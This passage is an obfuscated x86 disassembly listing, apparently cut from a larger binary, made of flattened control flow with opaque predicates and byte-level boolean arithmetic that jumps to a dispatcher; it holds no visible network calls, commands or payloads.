mov cl, byte [ebp - 0xc25]
or al, ah
xor bh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0xc26], al
mov al, 1
xor al, 1
and cl, al
mov ah, bh
xor ah, 0xff
and ah, 0xff
and bh, al
mov al, byte [ebp - 0xc26]
or al, cl
mov cl, byte [ebp - 0xc25]
or ah, bh
xor al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dl
xor al, 0xff
and al, 0
mov byte [ebp - 0xc24], al
mov bh, 1
xor bh, 0
mov cl, dl
and cl, bh
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xc23], al
mov al, byte [ebp - 0xc24]
and bh, 1
or al, cl
mov cl, byte [ebp - 0xc23]
or cl, bh
xor al, cl
mov byte [ebp - 0xc1d], al
mov al, dh
xor al, 0xff
and al, 1
mov byte [ebp - 0xc22], al
mov bh, 1
xor bh, 1
mov cl, dh
and cl, bh
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xc21], al
mov al, byte [ebp - 0xc22]
and bh, 1
or al, cl
mov cl, byte [ebp - 0xc21]
or cl, bh
mov bh, byte [ebp - 0xc1d]
xor al, cl
mov byte [ebp - 0xc20], al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov byte [ebp - 0xc1a], cl
mov al, 1
xor al, 0
xor bh, al
mov al, byte [ebp - 0xc1d]
and bh, al
xor cl, 0xff
mov al, dl
xor al, cl
mov cl, byte [ebp - 0xc20]
and al, dl
mov byte [ebp - 0xc1f], al
mov al, 1
xor al, 0
mov dl, cl
xor dl, al
mov al, byte [ebp - 0xc1a]
and dl, cl
mov byte [ebp - 0xc1e], dl
xor al, 0xff
mov dl, dh
xor dl, al
mov al, byte [ebp - 0xc1f]
and dl, dh
mov dh, bh
and dh, al
xor bh, al
mov al, byte [ebp - 0xc1e]
or dh, bh
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov al, dh
xor al, 0xff
mov dl, bh
and dl, al
mov al, byte [ebp - 0xc1d]
xor bh, 0xff
and dh, bh
or dl, dh
mov byte [ebp - 0xc14], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xc19], dl
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
and dl, 0xff
and al, dh
mov byte [ebp - 0xc1c], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xc1b], al
mov al, byte [ebp - 0xc1c]
and cl, dh
or dl, al
mov al, byte [ebp - 0xc1b]
or al, cl
mov cl, byte [ebp - 0xc1a]
xor dl, al
mov al, byte [ebp - 0xc19]
or al, bh
xor al, 0xff
or dh, 1
and al, dh
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and dl, dh
or al, dl
mov byte [ebp - 0xc16], al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0xc15], al
mov bh, 1
xor bh, 1
mov dh, dl
and dh, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0xc18], al
mov al, byte [ebp - 0xc15]
and al, 0xff
mov byte [ebp - 0xc17], al
mov al, byte [ebp - 0xc18]
and cl, bh
or dh, al
mov al, byte [ebp - 0xc17]
or al, cl
mov cl, byte [ebp - 0xc16]
xor dh, al
mov al, byte [ebp - 0xc15]
or dl, al
mov al, byte [ebp - 0xc14]
xor dl, 0xff
or bh, 1
and dl, bh
or dh, dl
xor cl, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or cl, dh
or dl, 1
xor cl, 0xff
and cl, dl
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov cl, bl
xor cl, 0xff
mov dl, ah
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, bh
or al, bl
or dl, ah
xor al, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
mov bh, dl
and bh, 0xff
mov byte [ebp - 0xc13], bh
and cl, ah
mov bh, bl
and bh, 0xff
and al, ah
mov byte [ebp - 0xc11], al
mov al, byte [ebp - 0xc13]
or al, cl
mov cl, byte [ebp - 0xc12]
mov byte [ebp - 0xc10], al
mov al, byte [ebp - 0xc11]
or bh, al
mov al, byte [ebp - 0xc10]
xor al, bh
or dl, bl
xor dl, 0xff
or ah, 1
and dl, ah
or al, dl
mov byte [ebp - 0xc0f], al
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov bl, dh
and bl, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, bl
or al, dl
xor ah, al
mov dl, 1
xor dl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov bl, 1
xor bl, 1
and bl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and bh, 1
or bl, al
mov al, byte [ebp - 0xc0f]
or ah, bh
xor bl, ah
mov bh, bl
xor bh, 0xff
mov ah, dh
xor ah, bh
and ah, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
and al, bh
or dh, al
mov al, 1
xor al, 1
mov bh, dh
xor bh, al
mov al, byte [ebp - 0xc0f]
and bh, dh
xor al, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or al, bl
or dh, 0
xor al, 0xff
and al, dh
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0xc0c], ah
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 0
and ah, 0
and bh, dl
mov byte [ebp - 0xc0e], bh
mov bh, bl
and bh, 0
and al, dl
mov byte [ebp - 0xc0d], al
mov al, byte [ebp - 0xc0e]
or ah, al
mov al, byte [ebp - 0xc0d]
or bh, al
mov al, byte [ebp - 0xc0c]
xor ah, bh
or al, bl
xor al, 0xff
or dl, 0
and al, dl
or ah, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov al, ah
xor al, 0xff
and al, 0xff
and ah, bl
or dl, dh
or al, ah
xor dl, al
mov ah, ch
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov dh, cl
xor dh, 0xff
mov ah, ch
and ah, dh
xor ch, 0xff
and cl, ch
or ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or ah, al
mov bh, 1
xor bh, 1
xor ah, 0xff
mov al, 1
xor al, 0
or bh, ah
or al, 0
xor bh, 0xff
and bh, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov ah, ch
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov ah, 1
xor ah, 1
and ah, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ah, bl
or cl, dh
xor ah, cl
mov dh, 1
xor dh, 1
mov cl, ah
xor cl, dh
and cl, ah
mov byte [ebp - 0xc09], cl
mov cl, 1
xor cl, 1
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dh, ah
and dh, 0xff
and bh, ch
mov byte [ebp - 0xc0b], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0xc0a], al
mov al, byte [ebp - 0xc0b]
or dh, al
mov al, byte [ebp - 0xc0a]
or bh, al
mov al, byte [ebp - 0xc09]
xor dh, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dh, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xc08], ch
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 1
and ch, 0xff
and al, ah
mov bh, bl
and bh, 0xff
and cl, ah
or ch, al
mov al, byte [ebp - 0xc08]
or bh, cl
mov cl, byte [ebp - 0xc07]
xor ch, bh
or al, bl
xor al, 0xff
or ah, 1
and al, ah
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0xc06], al
mov al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
mov bh, cl
and bh, ah
xor cl, 0xff
and cl, 1
or bh, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, cl
and dh, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or dh, al
mov al, byte [ebp - 0xc06]
or bl, bh
xor dh, bl
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and al, ah
or cl, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0xc05], al
mov ah, 1
xor ah, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or cl, al
mov al, byte [ebp - 0xc05]
or bl, bh
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dh, dl
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, dh
or cl, ch
xor al, cl
mov byte [ebp - 0xbfd], al
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, ah
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dh, bl
or cl, ch
xor dh, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
xor al, 0xff
mov ch, 1
xor ch, 1
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, bh
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov ch, 1
xor ch, 1
mov dl, dh
xor dl, ch
and dl, dh
mov byte [ebp - 0xc01], dl
mov ch, bh
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov byte [ebp - 0xc02], dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
and al, ch
mov byte [ebp - 0xc04], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xc03], al
mov al, byte [ebp - 0xc04]
and cl, ch
or ah, al
mov al, byte [ebp - 0xc03]
or al, cl
mov cl, byte [ebp - 0xc02]
xor ah, al
mov al, byte [ebp - 0xc01]
or dl, bl
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xbfe], dl
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
and al, ch
mov byte [ebp - 0xc00], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xbff], al
mov al, byte [ebp - 0xc00]
and cl, ch
or dl, al
mov al, byte [ebp - 0xbff]
or al, cl
mov cl, byte [ebp - 0xbfe]
xor dl, al
mov al, byte [ebp - 0xbfd]
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xbfc], dl
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and al, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, al
mov al, byte [ebp - 0xbfc]
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0xbfb], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
and cl, 0
mov al, dl
and al, 1
mov ch, ah
and ch, 0
and bh, dl
or cl, al
mov al, byte [ebp - 0xbfb]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5280f2cb
mov ecx, 0xa770a94a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dword [ebp - 0x1ec], 0x6cedf433
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor edx, edx
sub edx, 0x7b7ff851
sub edx, 0xa0b67ae9
add edx, 0x7b7ff851
xor esi, esi
sub esi, edx
mov edx, ecx
sub edx, esi
xor esi, esi
sub esi, 0x21d6966e
sub edx, esi
sub edx, 0x602066ee
sub edx, 1
add edx, 0x602066ee
add edx, 0xea088ca3
sub edx, 0x21d6966e
sub edx, 0xea088ca3
sub edx, 0x720a1edd
add edx, 0x115032de
add edx, 0x720a1edd
xor esi, esi
sub esi, 0xa0b67ae9
sub edx, esi
add edx, 0xf8bb1b93
sub edx, 0x115032de
sub edx, 0xf8bb1b93
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl bl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, bl
and al, ch
or ah, al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, bh
or ch, dh
xor al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dh, dl
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, dh
or al, ch
xor cl, al
xor cl, 0xff
mov al, bl
xor al, cl
and al, bl
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov bl, ah
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov ch, ah
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, ch
or al, cl
xor bl, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
mov ch, dl
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, ch
or al, cl
xor dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ch
or al, cl
xor bh, al
mov al, bl
xor al, 0xff
mov ch, 1
xor ch, 1
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, bh
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ch, 1
xor ch, 1
mov ah, dh
xor ah, ch
and ah, dh
mov byte [ebp - 0xc5c], ah
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0xc5e], dl
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0xc5d], ah
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
and al, ch
mov byte [ebp - 0xc60], al
mov al, byte [ebp - 0xc5d]
and al, 0xff
mov byte [ebp - 0xc5f], al
mov al, byte [ebp - 0xc60]
and cl, ch
or ah, al
mov al, byte [ebp - 0xc5f]
or al, cl
mov cl, byte [ebp - 0xc5e]
xor ah, al
mov al, byte [ebp - 0xc5d]
or dl, al
mov al, byte [ebp - 0xc5c]
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xc5b], al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bl, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, bl
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, 1
xor dl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0xc5b]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1542f6e2
mov ecx, 0x75964eb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x1ec], 0x5cbe4383
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor esi, esi
sub esi, 0x9116f345
sub esi, 0x35ac616d
add esi, 0x9116f345
mov edx, ecx
add edx, 0xe4e22dfd
add edx, esi
sub edx, 0xe4e22dfd
sub edx, 0x31b8093f
add edx, 0x30386b84
add edx, 0x31b8093f
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x58b0d0fe
sub edx, 0x30386b84
add edx, 0x58b0d0fe
add edx, 0x6752203c
sub edx, 0x804d7995
sub edx, 0x6752203c
add edx, 0xffa3dead
add edx, 0x35ac616d
sub edx, 0xffa3dead
xor esi, esi
sub esi, 0x804d7995
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl cl
mov ah, dl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, dl
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, cl
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov al, 1
xor al, 0
and al, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or al, bh
or ch, bl
xor al, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, 1
xor ah, 0
mov byte [ebp - 0xd85], ah
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0xd87], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xd86], al
mov al, byte [ebp - 0xd87]
or ah, al
mov al, byte [ebp - 0xd86]
or bh, al
mov al, byte [ebp - 0xd85]
xor ah, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ah, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
or al, ch
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or dh, al
mov al, cl
xor al, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and cl, dh
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xedd26a57
mov ecx, 0xf17a4b58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dword [ebp - 0x1ec], 0x6a5b3bc2
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor edx, edx
sub edx, 1
add edx, 0
mov edi, 0x1ac42334
add edi, 0
add edi, edx
sub edi, 0x1ac42334
mov esi, 0x474df03c
add esi, 0
sub esi, ecx
sub esi, 0x474df03c
xor edx, edx
sub edx, edi
add edx, 0
sub esi, 0xf826047c
add esi, edx
add esi, 0xf826047c
xor edx, edx
sub edx, esi
add edx, 0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl ah
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dl, al
mov cl, bl
xor cl, 0xff
mov al, dl
and al, cl
xor dl, 0xff
mov cl, bl
and cl, dl
or al, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov cl, bl
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ch, bl
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov bh, ah
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov ch, dl
and ch, 0
and bl, cl
or ah, bh
or ch, bl
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or dl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or ch, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov byte [ebp - 0xe7b], bl
mov al, dl
xor al, 0xff
mov bh, 1
xor bh, 0
mov cl, 1
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
xor bl, 0xff
mov cl, dh
xor cl, bl
and cl, dh
mov bl, ch
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, 1
xor bh, 1
or bl, dh
mov dh, byte [ebp - 0xe7b]
or bh, 1
xor bl, 0xff
and bl, bh
mov byte [ebp - 0xe79], bl
xor dh, 0xff
mov bl, ah
xor bl, dh
and bl, ah
mov dh, al
xor dh, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0xe7a], ah
mov bh, 1
xor bh, 0
mov ah, dh
and ah, 0
and al, bh
mov byte [ebp - 0xe7d], al
mov al, byte [ebp - 0xe7a]
and al, 0
mov byte [ebp - 0xe7c], al
mov al, byte [ebp - 0xe7d]
and cl, bh
or ah, al
mov al, byte [ebp - 0xe7c]
or al, cl
mov cl, byte [ebp - 0xe7b]
xor ah, al
mov al, byte [ebp - 0xe7a]
or dh, al
mov al, byte [ebp - 0xe79]
xor dh, 0xff
or bh, 0
and dh, bh
or ah, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov bl, ah
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ah, dh
or al, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a81be22
mov ecx, 0x95acf756
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x188]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 8]
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0x188]
imul edx, dword [edx], 0x28
add eax, edx
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, 0
xor edx, edx
sub edx, 0xc0e0a22a
add eax, edx
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, ecx
add edx, eax
xor eax, eax
sub eax, 0xc0e0a22a
add edx, eax
xor eax, eax
sub eax, 0x2a59dfbe
sub eax, 0xa6b17148
add eax, 0x2a59dfbe
xor ecx, ecx
sub ecx, esi
add eax, ecx
sub eax, 0xf06b9ea1
add eax, 0xa6b17148
add eax, 0xf06b9ea1
add edx, 0x48ecc1e8
add edx, 0xf028766f
sub edx, 0x48ecc1e8
add edx, 0x2fd0b898
add edx, eax
sub edx, 0x2fd0b898
add edx, 0xb6a3d1b2
sub edx, 0xf028766f
sub edx, 0xb6a3d1b2
xor eax, eax
sub eax, 0x84c1dd7e
sub eax, 0xfc1ce7a2
add eax, 0x84c1dd7e
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xfc1ce7a2
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x88], eax
mov eax, dword [0x5e6bac]
mov ecx, dword [0x5e6ba8]
xor edi, edi
sub edi, 0xe25e9ecb
sub edi, 1
add edi, 0xe25e9ecb
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, edi
add edx, esi
xor edi, edi
sub edi, edx
xor esi, esi
sub esi, 0xc2e03ebc
sub esi, eax
add esi, 0xc2e03ebc
xor edx, edx
sub edx, edi
add edx, 0
add esi, 0x477bc9b9
add esi, edx
sub esi, 0x477bc9b9
xor edx, edx
sub edx, 0x961d43ba
sub edx, esi
add edx, 0x961d43ba
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov ch, cl
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov dh, cl
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or ch, dh
or dl, ah
xor ch, dl
mov dl, al
xor dl, 0xff
mov ah, ch
and ah, dl
xor ch, 0xff
mov dl, al
and dl, ch
or ah, dl
mov ch, al
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov bl, al
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or bl, ah
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
and ch, 1
or ah, ch
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov ch, 1
